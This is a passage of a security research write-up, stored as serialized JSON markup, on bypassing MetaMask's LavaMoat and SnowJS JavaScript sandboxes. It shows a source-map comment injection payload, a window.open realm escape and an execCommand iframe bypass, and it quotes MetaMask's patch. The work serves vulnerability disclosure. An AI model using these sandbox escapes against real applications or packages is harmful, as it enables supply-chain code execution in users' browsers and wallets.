"type":23,"tag":230,"props":50760,"children":50761},{"style":50698},[50762],{"type":29,"value":50763},"application",{"type":23,"tag":230,"props":50765,"children":50766},{"style":294},[50767],{"type":29,"value":12746},{"type":23,"tag":230,"props":50769,"children":50770},{"style":50698},[50771],{"type":29,"value":29},{"type":23,"tag":230,"props":50773,"children":50774},{"style":380},[50775],{"type":29,"value":5467},{"type":23,"tag":230,"props":50777,"children":50778},{"style":50145},[50779],{"type":29,"value":50780},"\\/",{"type":23,"tag":230,"props":50782,"children":50783},{"style":50698},[50784],{"type":29,"value":1680},{"type":23,"tag":230,"props":50786,"children":50787},{"style":380},[50788],{"type":29,"value":50789},")(?:",{"type":23,"tag":230,"props":50791,"children":50792},{"style":50698},[50793],{"type":29,"value":50794},";charset=",{"type":23,"tag":230,"props":50796,"children":50797},{"style":380},[50798],{"type":29,"value":50799},"([^",{"type":23,"tag":230,"props":50801,"children":50802},{"style":50698},[50803],{"type":29,"value":50804},";,",{"type":23,"tag":230,"props":50806,"children":50807},{"style":380},[50808],{"type":29,"value":17735},{"type":23,"tag":230,"props":50810,"children":50811},{"style":50145},[50812],{"type":29,"value":50748},{"type":23,"tag":230,"props":50814,"children":50815},{"style":380},[50816],{"type":29,"value":5467},{"type":23,"tag":230,"props":50818,"children":50819},{"style":50145},[50820],{"type":29,"value":5494},{"type":23,"tag":230,"props":50822,"children":50823},{"style":380},[50824],{"type":29,"value":5467},{"type":23,"tag":230,"props":50826,"children":50827},{"style":50145},[50828],{"type":29,"value":5494},{"type":23,"tag":230,"props":50830,"children":50831},{"style":380},[50832],{"type":29,"value":5467},{"type":23,"tag":230,"props":50834,"children":50835},{"style":50145},[50836],{"type":29,"value":5494},{"type":23,"tag":230,"props":50838,"children":50839},{"style":380},[50840],{"type":29,"value":50841},"(?:",{"type":23,"tag":230,"props":50843,"children":50844},{"style":50698},[50845],{"type":29,"value":50846},";",{"type":23,"tag":230,"props":50848,"children":50849},{"style":380},[50850],{"type":29,"value":302},{"type":23,"tag":230,"props":50852,"children":50853},{"style":50698},[50854],{"type":29,"value":50855},"base64",{"type":23,"tag":230,"props":50857,"children":50858},{"style":380},[50859],{"type":29,"value":50860},"))",{"type":23,"tag":230,"props":50862,"children":50863},{"style":50145},[50864],{"type":29,"value":5494},{"type":23,"tag":230,"props":50866,"children":50867},{"style":50698},[50868],{"type":29,"value":6461},{"type":23,"tag":230,"props":50870,"children":50871},{"style":380},[50872],{"type":29,"value":302},{"type":23,"tag":230,"props":50874,"children":50875},{"style":50698},[50876],{"type":29,"value":312},{"type":23,"tag":230,"props":50878,"children":50879},{"style":50145},[50880],{"type":29,"value":50881},"*?",{"type":23,"tag":230,"props":50883,"children":50884},{"style":380},[50885],{"type":29,"value":5467},{"type":23,"tag":230,"props":50887,"children":50888},{"style":294},[50889],{"type":29,"value":12619},{"type":23,"tag":230,"props":50891,"children":50892},{"style":50698},[50893],{"type":29,"value":6919},{"type":23,"tag":230,"props":50895,"children":50896},{"style":256},[50897],{"type":29,"value":50898},"mg",{"type":23,"tag":230,"props":50900,"children":50901},{"style":274},[50902],{"type":29,"value":511},{"type":23,"tag":230,"props":50904,"children":50905},{"class":232,"line":334},[50906],{"type":23,"tag":230,"props":50907,"children":50908},{"style":274},[50909],{"type":29,"value":1331},{"type":23,"tag":230,"props":50911,"children":50912},{"class":232,"line":371},[50913],{"type":23,"tag":230,"props":50914,"children":50915},{"style":274},[50916],{"type":29,"value":2582},{"type":23,"tag":230,"props":50918,"children":50919},{"class":232,"line":391},[50920],{"type":23,"tag":230,"props":50921,"children":50922},{"emptyLinePlaceholder":18},[50923],{"type":29,"value":459},{"type":23,"tag":230,"props":50925,"children":50926},{"class":232,"line":400},[50927,50931,50935,50939,50943,50947,50951,50955],{"type":23,"tag":230,"props":50928,"children":50929},{"style":676},[50930],{"type":29,"value":2570},{"type":23,"tag":230,"props":50932,"children":50933},{"style":274},[50934],{"type":29,"value":312},{"type":23,"tag":230,"props":50936,"children":50937},{"style":294},[50938],{"type":29,"value":50542},{"type":23,"tag":230,"props":50940,"children":50941},{"style":268},[50942],{"type":29,"value":271},{"type":23,"tag":230,"props":50944,"children":50945},{"style":256},[50946],{"type":29,"value":2903},{"type":23,"tag":230,"props":50948,"children":50949},{"style":274},[50950],{"type":29,"value":664},{"type":23,"tag":230,"props":50952,"children":50953},{"style":262},[50954],{"type":29,"value":34962},{"type":23,"tag":230,"props":50956,"children":50957},{"style":274},[50958],{"type":29,"value":827},{"type":23,"tag":230,"props":50960,"children":50961},{"class":232,"line":444},[50962,50966,50970,50974,50979,50983,50987,50991,50996,51000,51005],{"type":23,"tag":230,"props":50963,"children":50964},{"style":866},[50965],{"type":29,"value":3903},{"type":23,"tag":230,"props":50967,"children":50968},{"style":262},[50969],{"type":29,"value":50133},{"type":23,"tag":230,"props":50971,"children":50972},{"style":274},[50973],{"type":29,"value":312},{"type":23,"tag":230,"props":50975,"children":50976},{"style":294},[50977],{"type":29,"value":50978},"replace",{"type":23,"tag":230,"props":50980,"children":50981},{"style":274},[50982],{"type":29,"value":302},{"type":23,"tag":230,"props":50984,"children":50985},{"style":676},[50986],{"type":29,"value":2570},{"type":23,"tag":230,"props":50988,"children":50989},{"style":274},[50990],{"type":29,"value":312},{"type":23,"tag":230,"props":50992,"children":50993},{"style":262},[50994],{"type":29,"value":50995},"commentRegex",{"type":23,"tag":230,"props":50997,"children":50998},{"style":274},[50999],{"type":29,"value":684},{"type":23,"tag":230,"props":51001,"children":51002},{"style":380},[51003],{"type":29,"value":51004},"''",{"type":23,"tag":230,"props":51006,"children":51007},{"style":274},[51008],{"type":29,"value":753},{"type":23,"tag":230,"props":51010,"children":51011},{"class":232,"line":453},[51012],{"type":23,"tag":230,"props":51013,"children":51014},{"style":274},[51015],{"type":29,"value":450},{"type":23,"tag":32,"props":51017,"children":51018},{},[51019,51021,51027],{"type":29,"value":51020},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":71,"props":51022,"children":51024},{"className":51023},[],[51025],{"type":29,"value":51026},"/*",{"type":29,"value":51028},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":59,"props":51030,"children":51032},{"id":51031},"the-bypass",[51033],{"type":29,"value":51034},"The Bypass",{"type":23,"tag":32,"props":51036,"children":51037},{},[51038,51040,51045,51047,51052],{"type":29,"value":51039},"By abusing the ",{"type":23,"tag":71,"props":51041,"children":51043},{"className":51042},[],[51044],{"type":29,"value":50542},{"type":29,"value":51046}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":71,"props":51048,"children":51050},{"className":51049},[],[51051],{"type":29,"value":49886},{"type":29,"value":51053}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":220,"props":51055,"children":51057},{"className":33669,"code":51056,"language":33671,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[51058],{"type":23,"tag":71,"props":51059,"children":51060},{"__ignoreMap":7},[51061,51069,51076,51084,51092,51100,51108,51116,51124,51131,51139],{"type":23,"tag":230,"props":51062,"children":51063},{"class":232,"line":233},[51064],{"type":23,"tag":230,"props":51065,"children":51066},{"style":237},[51067],{"type":29,"value":51068},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":230,"props":51070,"children":51071},{"class":232,"line":243},[51072],{"type":23,"tag":230,"props":51073,"children":51074},{"emptyLinePlaceholder":18},[51075],{"type":29,"value":459},{"type":23,"tag":230,"props":51077,"children":51078},{"class":232,"line":252},[51079],{"type":23,"tag":230,"props":51080,"children":51081},{"style":237},[51082],{"type":29,"value":51083},"}}}}\n",{"type":23,"tag":230,"props":51085,"children":51086},{"class":232,"line":280},[51087],{"type":23,"tag":230,"props":51088,"children":51089},{"style":237},[51090],{"type":29,"value":51091},"}, {\n",{"type":23,"tag":230,"props":51093,"children":51094},{"class":232,"line":334},[51095],{"type":23,"tag":230,"props":51096,"children":51097},{"style":237},[51098],{"type":29,"value":51099},"    package: \"xpl\",\n",{"type":23,"tag":230,"props":51101,"children":51102},{"class":232,"line":371},[51103],{"type":23,"tag":230,"props":51104,"children":51105},{"style":237},[51106],{"type":29,"value":51107},"    file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":230,"props":51109,"children":51110},{"class":232,"line":391},[51111],{"type":23,"tag":230,"props":51112,"children":51113},{"style":237},[51114],{"type":29,"value":51115},"    test: alert(document.domain),\n",{"type":23,"tag":230,"props":51117,"children":51118},{"class":232,"line":400},[51119],{"type":23,"tag":230,"props":51120,"children":51121},{"style":237},[51122],{"type":29,"value":51123},"    test1: () => { () => { () => { () => {\n",{"type":23,"tag":230,"props":51125,"children":51126},{"class":232,"line":444},[51127],{"type":23,"tag":230,"props":51128,"children":51129},{"emptyLinePlaceholder":18},[51130],{"type":29,"value":459},{"type":23,"tag":230,"props":51132,"children":51133},{"class":232,"line":453},[51134],{"type":23,"tag":230,"props":51135,"children":51136},{"style":237},[51137],{"type":29,"value":51138},"/*\n",{"type":23,"tag":230,"props":51140,"children":51141},{"class":232,"line":462},[51142],{"type":23,"tag":230,"props":51143,"children":51144},{"style":237},[51145],{"type":29,"value":51146},"*/\n",{"type":23,"tag":32,"props":51148,"children":51149},{},[51150],{"type":29,"value":51151},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":59,"props":51153,"children":51155},{"id":51154},"lavapack-patch",[51156],{"type":29,"value":51157},"Lavapack Patch",{"type":23,"tag":32,"props":51159,"children":51160},{},[51161,51163,51169],{"type":29,"value":51162},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":71,"props":51164,"children":51166},{"className":51165},[],[51167],{"type":29,"value":51168},"assertValidJS",{"type":29,"value":51170},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":32,"props":51172,"children":51173},{},[51174,51176,51183],{"type":29,"value":51175},"The patch was introduced in commit ",{"type":23,"tag":181,"props":51177,"children":51180},{"href":51178,"rel":51179},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[185],[51181],{"type":29,"value":51182},"9c38cd4",{"type":29,"value":312},{"type":23,"tag":220,"props":51185,"children":51187},{"className":5113,"code":51186,"language":5115,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[51188],{"type":23,"tag":71,"props":51189,"children":51190},{"__ignoreMap":7},[51191,51199,51207,51215,51223,51231,51239,51247,51254,51262],{"type":23,"tag":230,"props":51192,"children":51193},{"class":232,"line":233},[51194],{"type":23,"tag":230,"props":51195,"children":51196},{"style":5149},[51197],{"type":29,"value":51198},"+ function assertValidJS(code) {\n",{"type":23,"tag":230,"props":51200,"children":51201},{"class":232,"line":243},[51202],{"type":23,"tag":230,"props":51203,"children":51204},{"style":5149},[51205],{"type":29,"value":51206},"+  try {\n",{"type":23,"tag":230,"props":51208,"children":51209},{"class":232,"line":252},[51210],{"type":23,"tag":230,"props":51211,"children":51212},{"style":5149},[51213],{"type":29,"value":51214},"+    new Function(code)\n",{"type":23,"tag":230,"props":51216,"children":51217},{"class":232,"line":280},[51218],{"type":23,"tag":230,"props":51219,"children":51220},{"style":5149},[51221],{"type":29,"value":51222},"+  } catch (err) {\n",{"type":23,"tag":230,"props":51224,"children":51225},{"class":232,"line":334},[51226],{"type":23,"tag":230,"props":51227,"children":51228},{"style":5149},[51229],{"type":29,"value":51230},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":230,"props":51232,"children":51233},{"class":232,"line":371},[51234],{"type":23,"tag":230,"props":51235,"children":51236},{"style":5149},[51237],{"type":29,"value":51238},"+  }\n",{"type":23,"tag":230,"props":51240,"children":51241},{"class":232,"line":391},[51242],{"type":23,"tag":230,"props":51243,"children":51244},{"style":5149},[51245],{"type":29,"value":51246},"+ }\n",{"type":23,"tag":230,"props":51248,"children":51249},{"class":232,"line":400},[51250],{"type":23,"tag":230,"props":51251,"children":51252},{"emptyLinePlaceholder":18},[51253],{"type":29,"value":459},{"type":23,"tag":230,"props":51255,"children":51256},{"class":232,"line":444},[51257],{"type":23,"tag":230,"props":51258,"children":51259},{"style":5149},[51260],{"type":29,"value":51261},"+  // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":230,"props":51263,"children":51264},{"class":232,"line":453},[51265],{"type":23,"tag":230,"props":51266,"children":51267},{"style":5149},[51268],{"type":29,"value":51269},"+  assertValidJS(sourceMeta.code)\n",{"type":23,"tag":24,"props":51271,"children":51273},{"id":51272},"hacking-js-realms",[51274],{"type":29,"value":51275},"Hacking JS Realms",{"type":23,"tag":32,"props":51277,"children":51278},{},[51279,51281,51286],{"type":29,"value":51280},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":71,"props":51282,"children":51284},{"className":51283},[],[51285],{"type":29,"value":2094},{"type":29,"value":51287}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":220,"props":51289,"children":51291},{"className":33669,"code":51290,"language":33671,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[51292],{"type":23,"tag":71,"props":51293,"children":51294},{"__ignoreMap":7},[51295,51337],{"type":23,"tag":230,"props":51296,"children":51297},{"class":232,"line":233},[51298,51302,51307,51311,51315,51319,51324,51328,51333],{"type":23,"tag":230,"props":51299,"children":51300},{"style":256},[51301],{"type":29,"value":259},{"type":23,"tag":230,"props":51303,"children":51304},{"style":262},[51305],{"type":29,"value":51306}," w",{"type":23,"tag":230,"props":51308,"children":51309},{"style":268},[51310],{"type":29,"value":271},{"type":23,"tag":230,"props":51312,"children":51313},{"style":262},[51314],{"type":29,"value":33712},{"type":23,"tag":230,"props":51316,"children":51317},{"style":274},[51318],{"type":29,"value":312},{"type":23,"tag":230,"props":51320,"children":51321},{"style":294},[51322],{"type":29,"value":51323},"open",{"type":23,"tag":230,"props":51325,"children":51326},{"style":274},[51327],{"type":29,"value":302},{"type":23,"tag":230,"props":51329,"children":51330},{"style":380},[51331],{"type":29,"value":51332},"'/non_existent'",{"type":23,"tag":230,"props":51334,"children":51335},{"style":274},[51336],{"type":29,"value":753},{"type":23,"tag":230,"props":51338,"children":51339},{"class":232,"line":243},[51340,51345,51349,51353,51357,51361,51365,51369],{"type":23,"tag":230,"props":51341,"children":51342},{"style":262},[51343],{"type":29,"value":51344},"w",{"type":23,"tag":230,"props":51346,"children":51347},{"style":274},[51348],{"type":29,"value":312},{"type":23,"tag":230,"props":51350,"children":51351},{"style":294},[51352],{"type":29,"value":34990},{"type":23,"tag":230,"props":51354,"children":51355},{"style":274},[51356],{"type":29,"value":302},{"type":23,"tag":230,"props":51358,"children":51359},{"style":262},[51360],{"type":29,"value":35000},{"type":23,"tag":230,"props":51362,"children":51363},{"style":274},[51364],{"type":29,"value":312},{"type":23,"tag":230,"props":51366,"children":51367},{"style":262},[51368],{"type":29,"value":35010},{"type":23,"tag":230,"props":51370,"children":51371},{"style":274},[51372],{"type":29,"value":4516},{"type":23,"tag":32,"props":51374,"children":51375},{},[51376,51378,51383],{"type":29,"value":51377},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":71,"props":51379,"children":51381},{"className":51380},[],[51382],{"type":29,"value":2094},{"type":29,"value":51384}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":32,"props":51386,"children":51387},{},[51388,51390,51397],{"type":29,"value":51389},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":181,"props":51391,"children":51394},{"href":51392,"rel":51393},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[185],[51395],{"type":29,"value":51396},"Metamask implementation",{"type":29,"value":5467},{"type":23,"tag":59,"props":51399,"children":51401},{"id":51400},"snowjs-attack-surface",[51402],{"type":29,"value":51403},"SnowJS Attack Surface",{"type":23,"tag":32,"props":51405,"children":51406},{},[51407],{"type":29,"value":51408},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":32,"props":51410,"children":51411},{},[51412,51414,51421],{"type":29,"value":51413},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":181,"props":51415,"children":51418},{"href":51416,"rel":51417},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[185],[51419],{"type":29,"value":51420},"hooked inserters",{"type":29,"value":51422}," functions:",{"type":23,"tag":220,"props":51424,"children":51426},{"className":33669,"code":51425,"language":33671,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[51427],{"type":23,"tag":71,"props":51428,"children":51429},{"__ignoreMap":7},[51430,51450,51471,51510,51564,51603,51702,51722,51743],{"type":23,"tag":230,"props":51431,"children":51432},{"class":232,"line":233},[51433,51437,51442,51446],{"type":23,"tag":230,"props":51434,"children":51435},{"style":256},[51436],{"type":29,"value":259},{"type":23,"tag":230,"props":51438,"children":51439},{"style":262},[51440],{"type":29,"value":51441}," map",{"type":23,"tag":230,"props":51443,"children":51444},{"style":268},[51445],{"type":29,"value":271},{"type":23,"tag":230,"props":51447,"children":51448},{"style":274},[51449],{"type":29,"value":277},{"type":23,"tag":230,"props":51451,"children":51452},{"class":232,"line":243},[51453,51458,51462,51467],{"type":23,"tag":230,"props":51454,"children":51455},{"style":262},[51456],{"type":29,"value":51457},"    Range:",{"type":23,"tag":230,"props":51459,"children":51460},{"style":274},[51461],{"type":29,"value":25347},{"type":23,"tag":230,"props":51463,"children":51464},{"style":380},[51465],{"type":29,"value":51466},"'insertNode'",{"type":23,"tag":230,"props":51468,"children":51469},{"style":274},[51470],{"type":29,"value":16590},{"type":23,"tag":230,"props":51472,"children":51473},{"class":232,"line":252},[51474,51479,51483,51488,51492,51497,51501,51506],{"type":23,"tag":230,"props":51475,"children":51476},{"style":262},[51477],{"type":29,"value":51478},"    DocumentFragment:",{"type":23,"tag":230,"props":51480,"children":51481},{"style":274},[51482],{"type":29,"value":25347},{"type":23,"tag":230,"props":51484,"children":51485},{"style":380},[51486],{"type":29,"value":51487},"'replaceChildren'",{"type":23,"tag":230,"props":51489,"children":51490},{"style":274},[51491],{"type":29,"value":684},{"type":23,"tag":230,"props":51493,"children":51494},{"style":380},[51495],{"type":29,"value":51496},"'append'",{"type":23,"tag":230,"props":51498,"children":51499},{"style":274},[51500],{"type":29,"value":684},{"type":23,"tag":230,"props":51502,"children":51503},{"style":380},[51504],{"type":29,"value":51505},"'prepend'",{"type":23,"tag":230,"props":51507,"children":51508},{"style":274},[51509],{"type":29,"value":16590},{"type":23,"tag":230,"props":51511,"children":51512},{"class":232,"line":280},[51513,51518,51522,51526,51530,51534,51538,51542,51546,51551,51555,51560],{"type":23,"tag":230,"props":51514,"children":51515},{"style":262},[51516],{"type":29,"value":51517},"    Document:",{"type":23,"tag":230,"props":51519,"children":51520},{"style":274},[51521],{"type":29,"value":25347},{"type":23,"tag":230,"props":51523,"children":51524},{"style":380},[51525],{"type":29,"value":51487},{"type":23,"tag":230,"props":51527,"children":51528},{"style":274},[51529],{"type":29,"value":684},{"type":23,"tag":230,"props":51531,"children":51532},{"style":380},[51533],{"type":29,"value":51496},{"type":23,"tag":230,"props":51535,"children":51536},{"style":274},[51537],{"type":29,"value":684},{"type":23,"tag":230,"props":51539,"children":51540},{"style":380},[51541],{"type":29,"value":51505},{"type":23,"tag":230,"props":51543,"children":51544},{"style":274},[51545],{"type":29,"value":684},{"type":23,"tag":230,"props":51547,"children":51548},{"style":380},[51549],{"type":29,"value":51550},"'write'",{"type":23,"tag":230,"props":51552,"children":51553},{"style":274},[51554],{"type":29,"value":684},{"type":23,"tag":230,"props":51556,"children":51557},{"style":380},[51558],{"type":29,"value":51559},"'writeln'",{"type":23,"tag":230,"props":51561,"children":51562},{"style":274},[51563],{"type":29,"value":16590},{"type":23,"tag":230,"props":51565,"children":51566},{"class":232,"line":334},[51567,51572,51576,51581,51585,51590,51594,51599],{"type":23,"tag":230,"props":51568,"children":51569},{"style":262},[51570],{"type":29,"value":51571},"    Node:",{"type":23,"tag":230,"props":51573,"children":51574},{"style":274},[51575],{"type":29,"value":25347},{"type":23,"tag":230,"props":51577,"children":51578},{"style":380},[51579],{"type":29,"value":51580},"'appendChild'",{"type":23,"tag":230,"props":51582,"children":51583},{"style":274},[51584],{"type":29,"value":684},{"type":23,"tag":230,"props":51586,"children":51587},{"style":380},[51588],{"type":29,"value":51589},"'insertBefore'",{"type":23,"tag":230,"props":51591,"children":51592},{"style":274},[51593],{"type":29,"value":684},{"type":23,"tag":230,"props":51595,"children":51596},{"style":380},[51597],{"type":29,"value":51598},"'replaceChild'",{"type":23,"tag":230,"props":51600,"children":51601},{"style":274},[51602],{"type":29,"value":16590},{"type":23,"tag":230,"props":51604,"children":51605},{"class":232,"line":371},[51606,51611,51615,51620,51624,51629,51633,51638,51642,51647,51651,51656,51660,51664,51668,51673,51677,51681,51685,51690,51694,51698],{"type":23,"tag":230,"props":51607,"children":51608},{"style":262},[51609],{"type":29,"value":51610},"    Element:",{"type":23,"tag":230,"props":51612,"children":51613},{"style":274},[51614],{"type":29,"value":25347},{"type":23,"tag":230,"props":51616,"children":51617},{"style":380},[51618],{"type":29,"value":51619},"'innerHTML'",{"type":23,"tag":230,"props":51621,"children":51622},{"style":274},[51623],{"type":29,"value":684},{"type":23,"tag":230,"props":51625,"children":51626},{"style":380},[51627],{"type":29,"value":51628},"'outerHTML'",{"type":23,"tag":230,"props":51630,"children":51631},{"style":274},[51632],{"type":29,"value":684},{"type":23,"tag":230,"props":51634,"children":51635},{"style":380},[51636],{"type":29,"value":51637},"'insertAdjacentHTML'",{"type":23,"tag":230,"props":51639,"children":51640},{"style":274},[51641],{"type":29,"value":684},{"type":23,"tag":230,"props":51643,"children":51644},{"style":380},[51645],{"type":29,"value":51646},"'replaceWith'",{"type":23,"tag":230,"props":51648,"children":51649},{"style":274},[51650],{"type":29,"value":684},{"type":23,"tag":230,"props":51652,"children":51653},{"style":380},[51654],{"type":29,"value":51655},"'insertAdjacentElement'",{"type":23,"tag":230,"props":51657,"children":51658},{"style":274},[51659],{"type":29,"value":684},{"type":23,"tag":230,"props":51661,"children":51662},{"style":380},[51663],{"type":29,"value":51496},{"type":23,"tag":230,"props":51665,"children":51666},{"style":274},[51667],{"type":29,"value":684},{"type":23,"tag":230,"props":51669,"children":51670},{"style":380},[51671],{"type":29,"value":51672},"'before'",{"type":23,"tag":230,"props":51674,"children":51675},{"style":274},[51676],{"type":29,"value":684},{"type":23,"tag":230,"props":51678,"children":51679},{"style":380},[51680],{"type":29,"value":51505},{"type":23,"tag":230,"props":51682,"children":51683},{"style":274},[51684],{"type":29,"value":684},{"type":23,"tag":230,"props":51686,"children":51687},{"style":380},[51688],{"type":29,"value":51689},"'after'",{"type":23,"tag":230,"props":51691,"children":51692},{"style":274},[51693],{"type":29,"value":684},{"type":23,"tag":230,"props":51695,"children":51696},{"style":380},[51697],{"type":29,"value":51487},{"type":23,"tag":230,"props":51699,"children":51700},{"style":274},[51701],{"type":29,"value":16590},{"type":23,"tag":230,"props":51703,"children":51704},{"class":232,"line":391},[51705,51710,51714,51718],{"type":23,"tag":230,"props":51706,"children":51707},{"style":262},[51708],{"type":29,"value":51709},"    ShadowRoot:",{"type":23,"tag":230,"props":51711,"children":51712},{"style":274},[51713],{"type":29,"value":25347},{"type":23,"tag":230,"props":51715,"children":51716},{"style":380},[51717],{"type":29,"value":51619},{"type":23,"tag":230,"props":51719,"children":51720},{"style":274},[51721],{"type":29,"value":16590},{"type":23,"tag":230,"props":51723,"children":51724},{"class":232,"line":400},[51725,51730,51734,51739],{"type":23,"tag":230,"props":51726,"children":51727},{"style":262},[51728],{"type":29,"value":51729},"    HTMLIFrameElement:",{"type":23,"tag":230,"props":51731,"children":51732},{"style":274},[51733],{"type":29,"value":25347},{"type":23,"tag":230,"props":51735,"children":51736},{"style":380},[51737],{"type":29,"value":51738},"'srcdoc'",{"type":23,"tag":230,"props":51740,"children":51741},{"style":274},[51742],{"type":29,"value":16590},{"type":23,"tag":230,"props":51744,"children":51745},{"class":232,"line":444},[51746],{"type":23,"tag":230,"props":51747,"children":51748},{"style":274},[51749],{"type":29,"value":450},{"type":23,"tag":32,"props":51751,"children":51752},{},[51753],{"type":29,"value":51754},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":32,"props":51756,"children":51757},{},[51758],{"type":29,"value":51759},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":59,"props":51761,"children":51763},{"id":51762},"bypassing-snowjs",[51764],{"type":29,"value":51765},"Bypassing SnowJS",{"type":23,"tag":32,"props":51767,"children":51768},{},[51769,51771,51782,51784,51790],{"type":29,"value":51770},"The deprecated ",{"type":23,"tag":181,"props":51772,"children":51775},{"href":51773,"rel":51774},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[185],[51776],{"type":23,"tag":71,"props":51777,"children":51779},{"className":51778},[],[51780],{"type":29,"value":51781},"document.execCommand",{"type":29,"value":51783}," function is used to execute commands inside a ",{"type":23,"tag":71,"props":51785,"children":51787},{"className":51786},[],[51788],{"type":29,"value":51789},"contenteditable",{"type":29,"value":51791}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":220,"props":51793,"children":51796},{"className":51794,"code":51795,"language":34676,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[51797],{"type":23,"tag":71,"props":51798,"children":51799},{"__ignoreMap":7},[51800],{"type":23,"tag":230,"props":51801,"children":51802},{"class":232,"line":233},[51803,51807,51811,51815,51819,51824,51829,51834,51839,51843],{"type":23,"tag":230,"props":51804,"children":51805},{"style":34669},[51806],{"type":29,"value":8143},{"type":23,"tag":230,"props":51808,"children":51809},{"style":256},[51810],{"type":29,"value":33652},{"type":23,"tag":230,"props":51812,"children":51813},{"style":262},[51814],{"type":29,"value":34748},{"type":23,"tag":230,"props":51816,"children":51817},{"style":274},[51818],{"type":29,"value":863},{"type":23,"tag":230,"props":51820,"children":51821},{"style":380},[51822],{"type":29,"value":51823},"test",{"type":23,"tag":230,"props":51825,"children":51826},{"style":262},[51827],{"type":29,"value":51828}," contenteditable",{"type":23,"tag":230,"props":51830,"children":51831},{"style":262},[51832],{"type":29,"value":51833}," autofocus",{"type":23,"tag":230,"props":51835,"children":51836},{"style":34669},[51837],{"type":29,"value":51838},">\u003C/",{"type":23,"tag":230,"props":51840,"children":51841},{"style":256},[51842],{"type":29,"value":33652},{"type":23,"tag":230,"props":51844,"children":51845},{"style":34669},[51846],{"type":29,"value":8329},{"type":23,"tag":32,"props":51848,"children":51849},{},[51850,51852,51858,51860,51865],{"type":29,"value":51851},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":71,"props":51853,"children":51855},{"className":51854},[],[51856],{"type":29,"value":51857},"insertHTML",{"type":29,"value":51859}," command of ",{"type":23,"tag":71,"props":51861,"children":51863},{"className":51862},[],[51864],{"type":29,"value":51781},{"type":29,"value":51866}," to add a non-sandboxed iframe.",{"type":23,"tag":220,"props":51868,"children":51870},{"className":33669,"code":51869,"language":33671,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[51871],{"type":23,"tag":71,"props":51872,"children":51873},{"__ignoreMap":7},[51874],{"type":23,"tag":230,"props":51875,"children":51876},{"class":232,"line":233},[51877,51881,51885,51890,51894,51899,51903,51907,51911,51916],{"type":23,"tag":230,"props":51878,"children":51879},{"style":262},[51880],{"type":29,"value":35000},{"type":23,"tag":230,"props":51882,"children":51883},{"style":274},[51884],{"type":29,"value":312},{"type":23,"tag":230,"props":51886,"children":51887},{"style":294},[51888],{"type":29,"value":51889},"execCommand",{"type":23,"tag":230,"props":51891,"children":51892},{"style":274},[51893],{"type":29,"value":302},{"type":23,"tag":230,"props":51895,"children":51896},{"style":380},[51897],{"type":29,"value":51898},"'insertHTML'",{"type":23,"tag":230,"props":51900,"children":51901},{"style":274},[51902],{"type":29,"value":684},{"type":23,"tag":230,"props":51904,"children":51905},{"style":256},[51906],{"type":29,"value":10510},{"type":23,"tag":230,"props":51908,"children":51909},{"style":274},[51910],{"type":29,"value":684},{"type":23,"tag":230,"props":51912,"children":51913},{"style":380},[51914],{"type":29,"value":51915},"'\u003Ciframe 